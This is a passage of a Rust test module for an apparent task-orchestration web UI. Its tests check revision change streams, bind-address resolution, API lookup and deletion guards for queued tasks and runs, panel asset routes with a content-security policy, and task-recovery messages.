22225 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
22226 let home = TempDir::new().expect("temp home");
22227 let ui = delta_test_ui(home.path());
22228 let talk = seed_talk_at(&ui.talks, "20260904-014455-ab12", "open");
22229 let before = ui.monitor.revisions(&ui).await.expect("initial scan").3;
22233 let mut changes = ui.monitor.broadcaster.subscribe();
22234 let mut on_disk = ui.talks.get(&talk).expect("get seeded talk");
22235 on_disk.turns.push(crate::talk::Turn {
22236 sender: None,
22237 breaks: Some(Vec::new()),
22238 messages: Vec::new(),
22239 posted_by: None,
22240 who: crate::talk::Who::Operator,
22241 body: "a new turn".to_owned(),
22242 at: Timestamp::now(),
22243 attachments: Vec::new(),
22244 usage: None,
22245 });
22246 ui.talks.put(&mut on_disk).expect("record a turn");
22247
22248 let after = tokio::time::timeout(Duration::from_secs(5), async {
22249 loop {
22250 let change = changes.recv().await.expect("monitor notification");
22251 let revision = change.payload["talks_rev"].as_u64().expect("talks_rev");
22252 if revision != before {
22253 assert_eq!(
22254 change.payload["talks_delta"]["changed"],
22255 serde_json::json!([talk])
22256 );
22257 break revision;
22258 }
22259 }
22260 })
22261 .await
22262 .expect("shared monitor observes external turn");
22263 assert_ne!(
22264 before, after,
22265 "a phone must be able to notice a talk's reply without polling every store"
22266 );
22267 let Json(observed) = health(State(ui)).await.expect("health");
22268 assert_eq!(
22269 observed.talks_rev, after,
22270 "health exposes the same revision"
22271 );
22272 }
22273
22274 #[test]
22275 fn bind_reads_back_from_the_spelling_the_cli_prints() {
22276 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
22280 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
22281 }
22282 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
22283 assert!("everywhere".parse::<Bind>().is_err());
22284 }
22285
22286 #[test]
22287 fn an_explicit_bind_address_is_taken_verbatim() {
22288 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
22289
22290 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
22291
22292 assert_eq!(addr, asked);
22293 assert!(
22294 warning.is_none(),
22295 "an operator who named an address gets no lecture"
22296 );
22297 }
22298
22299 #[test]
22300 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
22301 let (addr, warning) = resolve_bind(&Bind::Auto);
22302
22303 match addr {
22310 IpAddr::V4(ip) if is_tailnet(&ip) => {
22311 assert!(warning.is_none(), "a tailnet address needs no warning");
22312 }
22313 other => {
22314 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
22315 let warning = warning.expect("a fallback has to explain itself");
22316 assert!(
22317 warning.contains("127.0.0.1") && warning.contains("local-only"),
22318 "the warning says what happened and what it costs: {warning}"
22319 );
22320 }
22321 }
22322 }
22323
22324 #[test]
22325 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
22326 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
22330 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
22331 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
22332 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
22333 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
22334 }
22335
22336 #[test]
22337 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
22338 let ids = vec![
22339 "20260902-140501-aaaa".to_owned(),
22340 "20260902-140502-aabb".to_owned(),
22341 ];
22342
22343 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
22344 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
22345 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
22346
22347 assert_eq!(missing.status, StatusCode::NOT_FOUND);
22348 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
22349 assert_eq!(short, "20260902-140502-aabb");
22350 }
22351 #[tokio::test]
22352 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
22353 let fx = Fixture::start().await;
22359 let id = panel(
22360 &fx,
22361 "<img src=\"shot.png\">",
22362 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
22363 );
22364
22365 let doc = fx
22367 .get(&format!("/api/questions/{id}/panel/index.html"))
22368 .await;
22369 assert_eq!(doc.status, 200, "{}", doc.body);
22370 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
22371
22372 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
22373 assert_eq!(sibling.status, 200, "{}", sibling.body);
22374 assert_eq!(sibling.header("content-type"), Some("image/png"));
22375 assert_eq!(
22376 sibling.header("content-security-policy"),
22377 Some(PANEL_CSP),
22378 "the sibling route must carry the same policy as the asset route"
22379 );
22380
22381 assert_eq!(
22384 fx.head(&format!("/api/questions/{id}/panel")).await.status,
22385 200
22386 );
22387 }
22388
22389 #[test]
22390 fn delta_stamps_cover_add_update_remove_and_noop() {
22391 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
22392 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
22393 let delta = diff_stamps(&before, &after, 42);
22394 assert_eq!(delta.base, 42);
22395 assert_eq!(delta.changed, ["b", "c"]);
22396 assert_eq!(delta.removed, ["a"]);
22397 let same = diff_stamps(&after, &after, 43);
22398 assert!(same.changed.is_empty() && same.removed.is_empty());
22399 assert_ne!(stamps_revision(&before), stamps_revision(&after));
22400 let nanos: Stamps = [("b".into(), (2, 20))].into();
22401 let same_ms: Stamps = [("b".into(), (3, 20))].into();
22402 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
22403 assert_eq!(stamps_revision(&Stamps::new()), 0);
22404 }
22405
22406 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
22407 std::fs::create_dir_all(home.join("runs")).unwrap();
22408 Arc::new(
22409 Ui::new(
22410 Queue::at(home.join("queue")),
22411 Questions::at(home.join("questions")),
22412 Talks::at(home.join("talks")),
22413 home.join("runs"),
22414 home.to_owned(),
22415 PathBuf::from("/repo/magi"),
22416 )
22417 .with_worktrees_root(home.join("wt")),
22418 )
22419 }
22420
22421 #[test]
22422 fn monitor_scan_isolates_store_failures_and_recovers() {
22423 let home = TempDir::new().unwrap();
22424 let ui = delta_test_ui(home.path());
22425 std::fs::create_dir_all(ui.questions.root()).unwrap();
22426 std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
22427 let before = monitor_scan(&ui, None);
22428 std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
22429 std::fs::write(ui.questions.root(), "not a directory").unwrap();
22430 std::fs::create_dir_all(ui.talks.root()).unwrap();
22431 std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
22432 let during = monitor_scan(&ui, Some(before.clone()));
22433 assert_eq!(during.0.2, before.0.2);
22434 assert_ne!(during.0.3, before.0.3);
22435 assert!(during.1[2].contains_key("new"));
22436 std::fs::remove_file(ui.questions.root()).unwrap();
22437 let after = monitor_scan(&ui, Some(during));
22438 assert_eq!(after.0.2, 0);
22439 assert_eq!(after.0.3, stamps_revision(&after.1[2]));
22440 std::fs::write(ui.questions.root(), "not a directory").unwrap();
22442 assert_eq!(monitor_scan(&ui, None).0.3, after.0.3);
22443 }
22444
22445 #[tokio::test]
22446 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
22447 let home = TempDir::new().unwrap();
22448 let ui = delta_test_ui(home.path());
22449 let mut task = Task::new(
22450 "stream task".into(),
22451 "text".into(),
22452 PathBuf::from("/repo"),
22453 Source::Human,
22454 );
22455 ui.queue.put(&mut task).unwrap();
22456 let response = events(State(ui.clone())).await.into_response();
22457 let mut stream = response.into_body().into_data_stream();
22458 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
22459 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
22460 .await
22461 .unwrap()
22462 .unwrap()
22463 .unwrap();
22464 let text = String::from_utf8(chunk.to_vec()).unwrap();
22465 let data = text
22466 .lines()
22467 .find_map(|line| {
22468 line.strip_prefix("data: ")
22469 .or_else(|| line.strip_prefix("data:"))
22470 })
22471 .unwrap();
22472 serde_json::from_str(data).unwrap()
22473 }
22474 let initial = change(&mut stream).await;
22475 assert!(initial.get("queue_delta").is_none());
22476 task.instruction.push_str(" changed");
22477 ui.queue.put(&mut task).unwrap();
22478 let updated = change(&mut stream).await;
22479 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
22480 assert_eq!(
22481 updated["queue_delta"]["changed"],
22482 serde_json::json!([task.id])
22483 );
22484 assert_eq!(
22485 updated["queue_rev"].as_u64(),
22486 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
22487 );
22488 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
22489 let removed = change(&mut stream).await;
22490 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
22491 assert_eq!(
22492 removed["queue_delta"]["removed"],
22493 serde_json::json!([task.id])
22494 );
22495 }
22496
22497 #[tokio::test]
22498 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
22499 let home = TempDir::new().unwrap();
22500 let ui = delta_test_ui(home.path());
22501 let queue = ui.queue.clone();
22502 let query = |ids: Option<&str>| {
22503 Query(ListQuery {
22504 limit: Some(2),
22505 ids: ids.map(str::to_owned),
22506 })
22507 };
22508 let mut root = Task::new(
22509 "root".into(),
22510 "instruction".into(),
22511 PathBuf::from("/repo"),
22512 Source::Human,
22513 );
22514 queue.put(&mut root).unwrap();
22515 let mut blocked = Task::new(
22516 "blocked".into(),
22517 "instruction".into(),
22518 PathBuf::from("/repo"),
22519 Source::Human,
22520 );
22521 blocked.block(vec![root.id.clone()], None);
22522 queue.put(&mut blocked).unwrap();
22523 let whole =
22524 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
22525 .unwrap();
22526 let subset = serde_json::to_value(
22527 queue_list(State(ui.clone()), query(Some(&root.id)))
22528 .await
22529 .unwrap()
22530 .0,
22531 )
22532 .unwrap();
22533 assert_eq!(whole, subset, "requested root plus its blocked dependent");
22534 let blockers = serde_json::to_value(
22535 queue_list(State(ui.clone()), query(Some("")))
22536 .await
22537 .unwrap()
22538 .0,
22539 )
22540 .unwrap();
22541 assert_eq!(blockers.as_array().unwrap().len(), 1);
22542 assert_eq!(blockers[0]["id"], blocked.id);
22543 assert_eq!(
22544 blockers[0]["waits_on"],
22545 whole
22546 .as_array()
22547 .unwrap()
22548 .iter()
22549 .find(|row| row["id"] == blocked.id)
22550 .unwrap()["waits_on"]
22551 );
22552
22553 for id in [
22554 "20260902-140501-aaaa",
22555 "20260902-140502-bbbb",
22556 "20260902-140503-cccc",
22557 ] {
22558 write_run(&ui.runs, id, RunStatus::Merged);
22559 }
22560 let old = serde_json::to_value(
22561 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
22562 .await
22563 .unwrap()
22564 .0,
22565 )
22566 .unwrap();
22567 assert!(
22568 old.as_array().unwrap().is_empty(),
22569 "older updates must not enter the window"
22570 );
22571 let newest = serde_json::to_value(
22572 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
22573 .await
22574 .unwrap()
22575 .0,
22576 )
22577 .unwrap();
22578 assert_eq!(newest.as_array().unwrap().len(), 1);
22579 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
22580
22581 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
22582 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
22583 let talks = serde_json::to_value(
22584 talks_list(
22585 State(ui.clone()),
22586 query(Some("20260905-000000-d4e5")),
22587 header::HeaderMap::new(),
22588 )
22589 .await
22590 .unwrap()
22591 .0,
22592 )
22593 .unwrap();
22594 assert_eq!(talks.as_array().unwrap().len(), 1);
22595 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
22596 assert_eq!(
22597 serde_json::to_value(
22598 talks_list(State(ui.clone()), query(Some("")), header::HeaderMap::new())
22599 .await
22600 .unwrap()
22601 .0
22602 )
22603 .unwrap(),
22604 serde_json::json!([])
22605 );
22606 }
22607
22608 #[tokio::test]
22609 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
22610 async fn delta_payload_benchmark() {
22611 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
22612 let ui = delta_test_ui(&home);
22613 let query = |ids: Option<String>| {
22614 Query(ListQuery {
22615 limit: Some(50),
22616 ids,
22617 })
22618 };
22619 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
22620 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
22621 let talks = talks_list(State(ui.clone()), query(None), header::HeaderMap::new())
22622 .await
22623 .unwrap()
22624 .0;
22625 let queue_id = queue
22626 .iter()
22627 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
22628 .unwrap_or(&queue[0])
22629 .task
22630 .id
22631 .clone();
22632 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
22633 .await
22634 .unwrap()
22635 .0;
22636 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
22637 .await
22638 .unwrap()
22639 .0;
22640 let talks_delta = talks_list(
22641 State(ui.clone()),
22642 query(Some(talks[0].id.clone())),
22643 header::HeaderMap::new(),
22644 )
22645 .await
22646 .unwrap()
22647 .0;
22648 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
22649 eprintln!(
22650 "DELTA_PAYLOAD {}",
22651 serde_json::json!({
22652 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
22653 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
22654 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
22655 "counts": [queue.len(), runs.len(), talks.len()],
22656 "blocked": queue_delta.len() - 1,
22657 })
22658 );
22659 }
22660
22661 #[test]
22662 fn runs_revision_moves_when_deleting_an_older_run() {
22663 let temp = TempDir::new().expect("tempdir");
22664 let runs = temp.path().join("runs");
22665 std::fs::create_dir_all(&runs).expect("create runs dir");
22666
22667 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
22668
22669 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
22670 std::thread::sleep(Duration::from_millis(10));
22671 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
22672
22673 let rev_before = runs_revision(&runs);
22674 assert!(rev_before > 0);
22675
22676 let old_dir = runs.join("20260901-100000-old1");
22677 std::fs::remove_dir_all(&old_dir).expect("remove old run");
22678
22679 let rev_after = runs_revision(&runs);
22680 assert_ne!(
22681 rev_before, rev_after,
22682 "deleting an older run must change the revision so other clients see the deletion"
22683 );
22684 }
22685
22686 fn write_state(runs: &FsPath, state: &RunState) {
22691 let dir = runs.join(&state.id);
22692 std::fs::create_dir_all(&dir).expect("run dir");
22693 std::fs::write(
22694 dir.join("run.json"),
22695 serde_json::to_string_pretty(state).expect("serialize run"),
22696 )
22697 .expect("write run.json");
22698 }
22699
22700 #[test]
22705 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
22706 let temp = TempDir::new().expect("tempdir");
22707 let runs = temp.path().join("runs");
22708 std::fs::create_dir_all(&runs).expect("create runs dir");
22709 let mut state = RunState::new(
22710 PathBuf::from("/repo/magi"),
22711 "main".to_owned(),
22712 "0123456789abcdef".to_owned(),
22713 "task".to_owned(),
22714 Config::default(),
22715 );
22716 state.id = "20260902-100000-c0de".to_owned();
22717 write_state(&runs, &state);
22718
22719 let rev_idle = runs_revision(&runs);
22720 std::thread::sleep(Duration::from_millis(10));
22721 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
22722 write_state(&runs, &state);
22723 let rev_started = runs_revision(&runs);
22724 assert_ne!(
22725 rev_idle, rev_started,
22726 "a seat starting must move the revision"
22727 );
22728
22729 std::thread::sleep(Duration::from_millis(10));
22730 state.seat_finished("judge-1");
22731 write_state(&runs, &state);
22732 let rev_finished = runs_revision(&runs);
22733 assert_ne!(
22734 rev_started, rev_finished,
22735 "and clearing it again must move the revision a second time"
22736 );
22737 }
22738
22739 #[tokio::test]
22740 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
22741 let fx = Fixture::start().await;
22746 let q = fx.queue();
22747
22748 let mut t = Task::new(
22749 "Task".to_owned(),
22750 "Instruction".to_owned(),
22751 PathBuf::from("/repo"),
22752 Source::Human,
22753 );
22754 t.block(
22755 vec!["20260101-000000-dead".to_owned()],
22756 Some("waiting on Task 1".to_owned()),
22757 );
22758 t.answers.push(crate::queue::AnsweredQuestion {
22759 question: "Which backend?".to_owned(),
22760 answer: "SQLite".to_owned(),
22761 });
22762 q.put(&mut t).expect("put t");
22763
22764 let res = fx.get("/api/queue").await;
22765 assert_eq!(res.status, 200);
22766 let list = res.json();
22767 let view = list
22768 .as_array()
22769 .expect("array")
22770 .iter()
22771 .find(|v| v["id"] == t.id)
22772 .expect("task in list");
22773 assert_eq!(view["status_str"], "blocked");
22774 assert_eq!(
22775 view["blocked_by"],
22776 serde_json::json!(["20260101-000000-dead"])
22777 );
22778 assert_eq!(view["block_reason"], "waiting on Task 1");
22779 assert_eq!(view["answers"][0]["question"], "Which backend?");
22780 assert_eq!(view["answers"][0]["answer"], "SQLite");
22781
22782 let res = fx
22786 .post(&format!("/api/queue/{}/hold", t.short()), None)
22787 .await;
22788 assert_eq!(res.status, 200);
22789 let held = res.json();
22790 assert_eq!(held["status_str"], "held");
22791 assert_eq!(held["blocked_by"], serde_json::json!([]));
22792 assert!(held["block_reason"].is_null());
22793 assert_eq!(held["answers"][0]["answer"], "SQLite");
22794 }
22795
22796 #[tokio::test]
22797 async fn task_recovery_pending_decisions_block_disk_autoresume() {
22798 let fx = Fixture::start().await;
22799 let queue = fx.queue();
22800 let questions = fx.questions();
22801 let mut task = Task::new(
22802 "Disk recovery".into(),
22803 "Inspect".into(),
22804 PathBuf::from("/repo"),
22805 Source::Human,
22806 );
22807 task.hold_machine(crate::disk::gate(2_667_941_888, 3_221_225_472));
22808 task.mark_disk_capacity();
22809 queue.put(&mut task).unwrap();
22810 let mut records = Vec::new();
22811 for node in [crate::triage::NODE, crate::triage::DEPS_NODE] {
22812 let mut q = Question::new(
22813 task.id.clone(),
22814 node.into(),
22815 "triage".into(),
22816 "Resume recovery?".into(),
22817 String::new(),
22818 vec![],
22819 );
22820 q.routed_task = Some(task.id.clone());
22821 questions.put(&mut q).unwrap();
22822 records.push(q);
22823 }
22824 let url = format!("/api/queue/{}", task.id);
22825 let view = fx.get(&url).await.json();
22826 assert_eq!(view["status_str"], "held");
22827 assert_eq!(view["blockers"].as_array().unwrap().len(), 2);
22828 assert!(
22829 view["recovery"]
22830 .as_str()
22831 .unwrap()
22832 .contains("Disk recovery alone will not resume")
22833 );
22834 assert!(
22835 view["recovery"]
22836 .as_str()
22837 .unwrap()
22838 .contains("Disk wait (automatically monitored)")
22839 );
22840 for blocker in view["blockers"].as_array().unwrap() {
22841 assert!(blocker["destination"].is_null());
22842 assert!(
22843 blocker["next"]
22844 .as_str()
22845 .unwrap()
22846 .contains("pending delivery")
22847 );
22848 }
22849 for q in &mut records {
22850 q.routed_chat = Some("owning-chat".into());
22851 questions.put(q).unwrap();
22852 }
22853 let view = fx.get(&url).await.json();
22854 for blocker in view["blockers"].as_array().unwrap() {
22855 assert_eq!(
22856 blocker["destination"],
22857 serde_json::json!(["chat", "owning-chat"])
22858 );
22859 assert_eq!(blocker["resolves_itself"], false);
22860 }
22861 for q in &mut records {
22863 q.status = ask::QuestionStatus::Answered;
22864 questions.put(q).unwrap();
22865 }
22866 assert!(crate::triage::pending_for(&questions, &task));
22867 let view = fx.get(&url).await.json();
22868 assert_eq!(view["blockers"].as_array().unwrap().len(), 2);
22869 assert!(
22870 view["blockers"][0]["next"]
22871 .as_str()
22872 .unwrap()
22873 .contains("not yet applied")
22874 );
22875 for q in &records {
22876 task.mark_triage_applied(&q.id);
22877 }
22878 queue.put(&mut task).unwrap();
22879 assert!(!crate::triage::pending_for(&questions, &task));
22880 assert_eq!(fx.get(&url).await.json()["blockers"], serde_json::json!([]));
22881 assert_eq!(queue.get(&task.id).unwrap().status, TaskStatus::Held);
22882 }
22883
22884 #[test]
22885 fn task_recovery_distinguishes_dependency_restoration_and_hold_ownership() {
22886 use crate::queue::HoldSource;
22887 let mut task = Task::new(
22888 "Recovery".into(),
22889 "Inspect".into(),
22890 PathBuf::from("/repo"),
22891 Source::Human,
22892 );
22893 assert!(task_recovery(&task).is_none());
22894 task.hold_manual(Some("Operator paused".into()));
22895 assert!(task_recovery(&task).unwrap().contains("explicitly Release"));
22896 task.block(vec!["dependency".into()], Some("Decision needed".into()));
22897 let text = task_recovery(&task).unwrap();
22898 assert!(text.contains("restores held"));
22899 assert!(text.contains("clears its dependency references"));
22900 task.hold_source = Some(HoldSource::Machine);
22901 task.hold_reason = crate::disk::gate(2_667_941_888, 3_221_225_472);
22902 task.mark_disk_capacity();
22903 let view = TaskView::with_inventory(
22904 task.clone(),
22905 &crate::blockers::Inventory::new(vec![task.clone()], &[]),
22906 );
22907 let json = serde_json::to_value(view).unwrap();
22908 assert_eq!(json["block_reason"], "Decision needed");
22909 assert!(json["hold_reason"].as_str().unwrap().contains("2667941888"));
22910 let recovery = json["recovery"].as_str().unwrap();
22911 assert!(recovery.contains("not current capacity"));
22912 assert!(recovery.contains("triage rechecks"));
22913 assert_eq!(json["blockers"][0]["state"], "missing");
22914 task.blocked_from = Some(TaskStatus::Queued);
22915 assert!(!task_recovery(&task).unwrap().contains("triage rechecks"));
22916 task.blocked_from = None;
22917 assert!(task_recovery(&task).unwrap().contains("restores held"));
22918 }
22919
22920 #[tokio::test]
22921 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
22922 let fx = Fixture::start().await;
22923 let q = fx.queue();
22924 let mk = |title: &str| {
22925 Task::new(
22926 title.to_owned(),
22927 "Instruction".to_owned(),
22928 PathBuf::from("/repo"),
22929 Source::Human,
22930 )
22931 };
22932 let mut root = mk("root");
22933 root.hold_manual(Some("waiting".to_owned()));
22934 q.put(&mut root).unwrap();
22935 let mut mid = mk("mid");
22936 mid.block(vec![root.id.clone()], None);
22937 q.put(&mut mid).unwrap();
22938 let mut leaf = mk("leaf");
22939 leaf.block(vec![mid.id.clone()], None);
22940 q.put(&mut leaf).unwrap();
22941
22942 let list = fx.get("/api/queue").await.json();
22943 let find = |id: &str| {
22944 list.as_array()
22945 .unwrap()
22946 .iter()
22947 .find(|v| v["id"] == id)
22948 .unwrap()
22949 .clone()
22950 };
22951 let leaf_view = find(&leaf.id);
22952 assert_eq!(
22953 leaf_view["waits_on"],
22954 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
22955 );
22956 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
22957 assert_eq!(
22958 find(&mid.id)["waits_on"],
22959 serde_json::json!([format!("{} (held)", root.short())])
22960 );
22961 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
22962 }
22963
22964 #[tokio::test]
22965 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
22966 let fx = Fixture::start().await;
22967 let q = fx.queue();
22968
22969 let mut t1 = Task::new(
22971 "Task 1".to_owned(),
22972 "Instruction 1".to_owned(),
22973 PathBuf::from("/repo"),
22974 Source::Human,
22975 );
22976 let run_id = "20260901-000000-r111";
22977 t1.runs.push(run_id.to_owned());
22978 write_run(&fx.runs(), run_id, RunStatus::Merged);
22979 q.put(&mut t1).expect("put t1");
22980
22981 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
22983 assert_eq!(res.status, 204);
22984 assert!(res.body.is_empty(), "204 No Content has no body");
22985 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
22986 assert!(
22987 fx.runs().join(run_id).exists(),
22988 "run directory must not be deleted when its task is deleted"
22989 );
22990
22991 let mut t2 = Task::new(
22993 "Task 2".to_owned(),
22994 "Instruction 2".to_owned(),
22995 PathBuf::from("/repo"),
22996 Source::Human,
22997 );
22998 t2.status = TaskStatus::Running;
22999 q.put(&mut t2).expect("put t2");
23000 let mut beat = crate::daemon::Status::new();
23001 beat.current = vec![crate::daemon::Current {
23002 worker: None,
23003 task: t2.id.clone(),
23004 run: "20260901-000000-r222".to_owned(),
23005 }];
23006 beat.updated_at = jiff::Timestamp::now();
23007 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23008 .expect("publish a heartbeat");
23009 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
23010 assert_eq!(res.status, 409);
23011 assert!(
23012 res.json()["error"]
23013 .as_str()
23014 .unwrap()
23015 .contains("live daemon")
23016 );
23017 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
23018
23019 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
23025 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23026 .expect("leave a stale heartbeat");
23027 let mut t3 = Task::new(
23028 "Task 3".to_owned(),
23029 "Instruction 3".to_owned(),
23030 PathBuf::from("/repo"),
23031 Source::Human,
23032 );
23033 t3.status = TaskStatus::Running;
23034 q.put(&mut t3).expect("put t3");
23035 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
23036 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
23037 assert_eq!(res.status, 204);
23038 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
23039 assert!(
23040 q.claim(&t3.id).is_ok(),
23041 "the stale lock went with it, so the id is claimable again"
23042 );
23043
23044 let res = fx.delete("/api/queue/nonexistent").await;
23046 assert_eq!(res.status, 404);
23047 }
23048
23049 #[tokio::test]
23050 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
23051 let fx = Fixture::start().await;
23052 let runs = fx.runs();
23053
23054 let run_id = "20260901-000000-fold";
23056 let mut state = RunState::new(
23057 PathBuf::from("/repo"),
23058 "main".to_owned(),
23059 "abc".to_owned(),
23060 "instruction".to_owned(),
23061 Config::default(),
23062 );
23063 state.id = run_id.to_owned();
23064 state.status = RunStatus::Merged;
23065 state.candidates.push(crate::run::Candidate {
23066 index: 0,
23067 label: 'A',
23068 agent: "a".to_owned(),
23069 branch: "b".to_owned(),
23070 worktree: PathBuf::from("/w"),
23071 summary: String::new(),
23072 stat: String::new(),
23073 files: 1,
23074 commits: 1,
23075 empty: false,
23076 failed: None,
23077 verified_noop: None,
23078 duration_ms: 0,
23079 folded: true,
23080 });
23081 let dir = runs.join(run_id);
23082 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
23083 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
23084 .expect("write artifact");
23085 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
23086 .expect("write run.json");
23087
23088 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
23090 assert_eq!(res.status, 204);
23091 assert!(res.body.is_empty(), "204 has no body");
23092 assert!(!dir.exists(), "run directory and artifacts must be deleted");
23093
23094 let run_running = "20260901-000000-rung";
23099 write_run(&runs, run_running, RunStatus::Prep);
23100 let mut beat = crate::daemon::Status::new();
23101 beat.current = vec![crate::daemon::Current {
23102 worker: None,
23103 task: "20260901-000000-task".to_owned(),
23104 run: run_running.to_owned(),
23105 }];
23106 beat.updated_at = jiff::Timestamp::now();
23107 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23108 .expect("publish a heartbeat");
23109 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
23110 assert_eq!(res.status, 409);
23111 assert!(
23112 res.json()["error"]
23113 .as_str()
23114 .unwrap()
23115 .contains("live daemon"),
23116 "the refusal must say who is holding it"
23117 );
23118 assert!(
23119 runs.join(run_running).exists(),
23120 "a run in flight keeps its directory"
23121 );
23122
23123 let run_unfolded = "20260901-000000-unfd";
23125 let mut state2 = RunState::new(
23126 PathBuf::from("/repo"),
23127 "main".to_owned(),
23128 "abc".to_owned(),
23129 "instruction".to_owned(),
23130 Config::default(),
23131 );
23132 state2.id = run_unfolded.to_owned();
23133 state2.status = RunStatus::Ready;
23134 state2.candidates.push(crate::run::Candidate {
23135 index: 0,
23136 label: 'A',
23137 agent: "a".to_owned(),
23138 branch: "b".to_owned(),
23139 worktree: PathBuf::from("/w"),
23140 summary: String::new(),
23141 stat: String::new(),
23142 files: 1,
23143 commits: 1,
23144 empty: false,
23145 failed: None,
23146 verified_noop: None,
23147 duration_ms: 0,
23148 folded: false,
23149 });
23150 let dir2 = runs.join(run_unfolded);
23151 std::fs::create_dir_all(&dir2).expect("create dir2");
23152 std::fs::write(
23153 dir2.join("run.json"),
23154 serde_json::to_string(&state2).unwrap(),
23155 )
23156 .expect("write run.json");
23157
23158 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
23159 assert_eq!(res.status, 409);
23160 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
23161 assert!(dir2.exists(), "unfolded run directory is kept");
23162
23163 let res = fx.delete("/api/runs/nonexistent").await;
23165 assert_eq!(res.status, 404);
23166 }
23167
23168 #[test]
23177 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
23178 let start = APP_JS
23179 .find("function renderStats() {")
23180 .expect("renderStats");
23181 let end = start
23182 + APP_JS[start..]
23183 .find("function statsTile(")
23184 .expect("the next top-level function");
23185 let body = &APP_JS[start..end];
23186
23187 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
23188 let gate_end = gate_start
